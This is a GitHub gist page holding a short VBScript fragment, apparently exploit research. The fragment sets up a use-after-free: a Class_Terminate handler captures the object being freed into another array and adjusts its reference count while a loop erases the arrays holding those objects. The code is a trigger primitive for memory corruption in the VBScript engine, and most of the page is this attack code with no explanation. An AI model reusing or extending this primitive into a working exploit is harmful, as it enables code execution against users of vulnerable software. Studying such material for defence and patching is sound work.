Skip to content

Instantly share code, notes, and snippets.

@piotrflorczyk
Created July 11, 2018 15:06
Show Gist options
  • Save piotrflorczyk/6b15533b813fe08da7b1473fdccf96a9 to your computer and use it in GitHub Desktop.
Save piotrflorczyk/6b15533b813fe08da7b1473fdccf96a9 to your computer and use it in GitHub Desktop.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment